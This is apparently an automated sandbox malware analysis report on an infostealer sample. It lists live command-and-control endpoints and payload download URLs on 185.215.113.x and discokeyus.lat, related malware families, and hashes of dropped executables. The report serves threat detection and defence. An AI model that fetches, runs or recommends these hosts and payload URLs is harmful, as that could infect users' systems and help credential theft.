http://185.215.113.206/	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/T	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D49000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/M	Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/T	Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/$	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apiexVe	Qmg24kMXxU.exe, 00000002.00000003.2439958146.000000000545A000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpW4	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/k8gLSx	Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/nlTW	Qmg24kMXxU.exe, 00000002.00000003.2440505632.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2441360289.0000000005432000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apixodb	Qmg24kMXxU.exe, 00000002.00000003.2502257990.0000000005434000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2502466292.000000000543E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.mozilla.or	Qmg24kMXxU.exe, 00000002.00000003.2406137125.0000000005466000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/F	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16:80/steam/random.exe	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php74	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat:443/apiY.	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://ocsp.rootca1.amazontrust.com0:	Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/apicl	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2548188355.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16:80/off/def.exe	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/	Qmg24kMXxU.exe, 00000002.00000003.2502304319.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D49000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445012315.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445186422.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat/.	Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2444958037.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445012315.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/Gn1y7xIBI	Qmg24kMXxU.exe, 00000002.00000003.2440505632.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2441360289.0000000005432000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2404781604.0000000005431000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://discokeyus.lat:443/api	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe(	Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php1-573d1d5ce43f	CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578891
Start date and time:	2024-12-20 16:18:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Qmg24kMXxU.exe renamed because original name is a hash value
Original Sample Name:	ebc8ee2571051c972257a5a46feff86f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.190.147.7, 20.199.58.43, 13.107.246.63, 2.16.158.184, 172.202.163.200, 150.171.27.10, 2.16.158.50, 20.223.35.26
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, azureedge-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, PID 7324 because there are no executed function
Execution Graph export aborted for target Qmg24kMXxU.exe, PID 6508 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:19:19	API Interceptor	85x Sleep call for process: Qmg24kMXxU.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/68b591d6548ec281/nss3.dll
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Invoice Shipment.bat.exe	Get hash	malicious	DarkCloud	Browse	13.107.246.63
	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	SWIFT.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
fp2e7a.wpc.phicdn.net	hesaphareketi-20-12-2024-pdf.exe	Get hash	malicious	AgentTesla	Browse	192.229.221.95
	LbtytfWpvx.vbs	Get hash	malicious	Remcos	Browse	192.229.221.95
	17345937653b107659e23b9c28725ee4827d5eb205eece8b9a5c90afbbb742a9832aaefaab913.dat-decoded.dll	Get hash	malicious	Unknown	Browse	192.229.221.95
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	192.229.221.95
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	192.229.221.95
	download.ps1	Get hash	malicious	Unknown	Browse	192.229.221.95
	solara-executor.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	192.229.221.95
	http://golden1-alert.net/online	Get hash	malicious	Unknown	Browse	192.229.221.95
discokeyus.lat	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.197.170
	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.197.170
	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.197.170

Process:	C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe

Download File

Process:	C:\Users\user\Desktop\Qmg24kMXxU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2917888
Entropy (8bit):	6.46746226462919
Encrypted:	false
SSDEEP:	49152:vI2DfcBpykrnsgz+yNjY4FW886n/c0ueHnS:vI2Dfo/ns4+yNjYMW74se
MD5:	E48CA69B3F439CF66679FFE60EFD564F
SHA1:	FB466D0297EE39819D14DFFB99C69BAB52DCEF4B
SHA-256:	C9B2322743D3DAF2D975110637D09F00BF2481EAE2A447F718CF53696EAC35C4
SHA-512:	529B1693AB4415484B20A9FA0BD6A7D7CA017DA3341ABEBF900BE63425FA77D9D2296B7506059696E383307D24EC4ECB7F6E3936551248642CC7FF71D0ACA194
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...lalofjun.....$.....\|..............@...ccythcdc......O......^,.............@....taggant.0....O.."...d,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Download File

Process:	C:\Users\user\Desktop\Qmg24kMXxU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2790400
Entropy (8bit):	6.470233032555418
Encrypted:	false
SSDEEP:	49152:Sc6IFOUK9+AeILRNz8BYuIVr/VitAFPIxQV:SCS9+AeILH8y54tAFPIxQV
MD5:	924B9CDE47B9957EDE7465EDD607FC47
SHA1:	D6C1932BCFD2B1BA320BFBF56F133ED7D87CDE04
SHA-256:	535EECAFD723FFF74E56D999DE527EAE4E9A91792F4B8B85228E8EFF038E893E
SHA-512:	0605A1BC3140143868A54455B4EFBDF9F31644BF18C278DD2B91F9328E308D0C82F7D5834637FD64D8ECE261804D12959F7118DAC60D350BC0DB7DE1F912A14D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	low
